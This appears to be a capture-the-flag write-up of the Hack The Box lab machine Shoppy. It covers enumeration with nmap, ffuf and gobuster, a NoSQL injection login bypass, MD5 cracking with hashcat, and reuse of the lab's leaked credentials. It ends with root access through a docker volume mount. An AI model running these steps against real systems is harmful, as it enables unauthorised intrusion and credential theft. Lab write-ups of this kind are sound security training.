Shoppy Writeup

25 January 2023 #CTF #HTB #box #easy #linux

shoppy info

Enumeration

Babe wake up, a new nmap version just released:

$ sudo nmap -n -p- -T4 -oN enum/fulltcp.nmap 10.10.11.180
[...]
22/tcp   open  ssh
80/tcp   open  http
9093/tcp open  copycat
[...]
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -n -p $ports -sCV -oN enum/scripts-tcp.nmap 10.10.11.180
[...]
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)
|   256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)
|_  256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)
80/tcp   open  http     nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
|_http-server-header: nginx/1.23.1
9093/tcp open  copycat?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Tue, 08 Nov 2022 18:38:57 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 9
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 9
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 2.0258e-05
|     go_gc_duration_seconds{quantile="0.25"} 7.5522e-05
|_    go_gc_dur
[...]

SSH

We can use the ssh banner to fingerprint the OS version. In our case, we learn that the box is running Debian Bullseye (11) and that the package was released in July 2022.

HTTP

We are redirected to http://shoppy.htb so let's look for subdomains:

$ ffuf -u http://10.10.11.180 -H 'Host: FUZZ.shoppy.htb' -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fs 169

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.180
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.shoppy.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 169
________________________________________________

mattermost              [Status: 200, Size: 3122, Words: 141, Lines: 1, Duration: 147ms]
:: Progress: [100000/100000] :: Job [1/1] :: 417 req/sec :: Duration: [0:05:17] :: Errors: 0 ::

We found a mattermost virtual host, which is a chat application. I couldn't find any default creds so we'll move on.

On shoppy.htb we get a coming soon page:

index

No links on here, so let's do a bit of directory bruteforcing:

$ gobuster dir -u http://shoppy.htb/ -w /usr/share/SecLists/Discovery/Web-Content/raft-small-words.txt -o enum/root-shoppy.htb.dir
/js                   (Status: 301) [Size: 171] [--> /js/]
/css                  (Status: 301) [Size: 173] [--> /css/]
/images               (Status: 301) [Size: 179] [--> /images/]
/admin                (Status: 302) [Size: 28] [--> /login]
/login                (Status: 200) [Size: 1074]
/assets               (Status: 301) [Size: 179] [--> /assets/]
/.                    (Status: 301) [Size: 169] [--> /./]
/fonts                (Status: 301) [Size: 177] [--> /fonts/]
/exports              (Status: 301) [Size: 181] [--> /exports/]

There is a /login page. Let's check it out:

login page

NoSQL Injection

After some default credentials and a bunch of SQL injection payloads, nothing comes up.

From the looks of the 404 error page, we can probably guess this is a nodejs (express) app. There is a chance that it is using a NoSQL database so let's try NoSQL injection as well:

NoSQL bypass login

This is basically the equivalent of ' OR '1'='1 for SQL injections.

It worked since we get a cookie:

auth cookie

We can now login to the admin panel:

shoppy admin panel

There is a /search-users page:

search-users page admin

We can enter a username (like 'admin') and it will export a json file:

json export admin user

Nice, there is what looks like a password hash (32 characters so most likely MD5).

However, this hash is not crackable (at least with rockyou.txt) so we'll reuse the NoSQLi payload from earlier to dump all users:

NoSQLi payload

This time we get one additional user:

other user in json output

$ hashcat -m 0 6ebcea65320589ca4f2f1ce039975995 /usr/share/wordlists/rockyou.txt
[...]
6ebcea65320589ca4f2f1ce039975995:remembermethisway
[...]

Foothold

These creds don't work with ssh, but we can login to mattermost. Looking through the different channels, we can find ssh creds in a private channel:

ssh creds in mattermost channel

$ ssh jaeger@shoppy.htb                                                  
jaeger@shoppy.htb's password:                                                                  
[...]
jaeger@shoppy:~$ id
uid=1000(jaeger) gid=1000(jaeger) groups=1000(jaeger)

Privesc

Let's see if we can run sudo:

jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger: 
Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager

(very) Minimal Reverse Engineering

We can run this password-manager executable as the 'deploy' user. It is a C++ binay.

Before going crazy and loading this file in ghidra let's run strings on it:

jaeger@shoppy:/home/deploy$ strings -e b password-manager
Sample

We need the -e b option to look for UTF-16 strings. Let's try this 'Sample' password:

jaeger@shoppy:/home/deploy$ sudo -u deploy /home/deploy/password-manager
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!

Great, we can now log in as the 'deploy' user:

jaeger@shoppy:/home/deploy$ su -l deploy                                                                                                                                                      
Password:
deploy@shoppy:~$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)

Abuse Docker Group

As we saw in the previous id command, the 'deploy' user is in the 'docker' group, which is very dangerous.

We can create a container and mount the whole filesystem inside it, meaning we will be able to read and write any file on the host.

First we need an image to work with, as we can't just pull one:

deploy@shoppy:~$ docker  images
REPOSITORY   TAG       IMAGE ID       CREATED        SIZE
alpine       latest    d7d3d98c851f   6 months ago   5.53MB

This alpine image will do. We'll run this image and mount / of the host filesystem into /mnt on the container:

deploy@shoppy:~$ docker run --rm -it -v /:/mnt alpine
/ # cat mnt/root/root.txt 
22b94d26fc77cebf3d41eb7bbd7d4b41

If you want an actual shell on the host as root, you could create a cronjob that sends you a reverse shell, or modify /etc/passwd or /etc/shadow, countless posibilites here...

Key Takeaways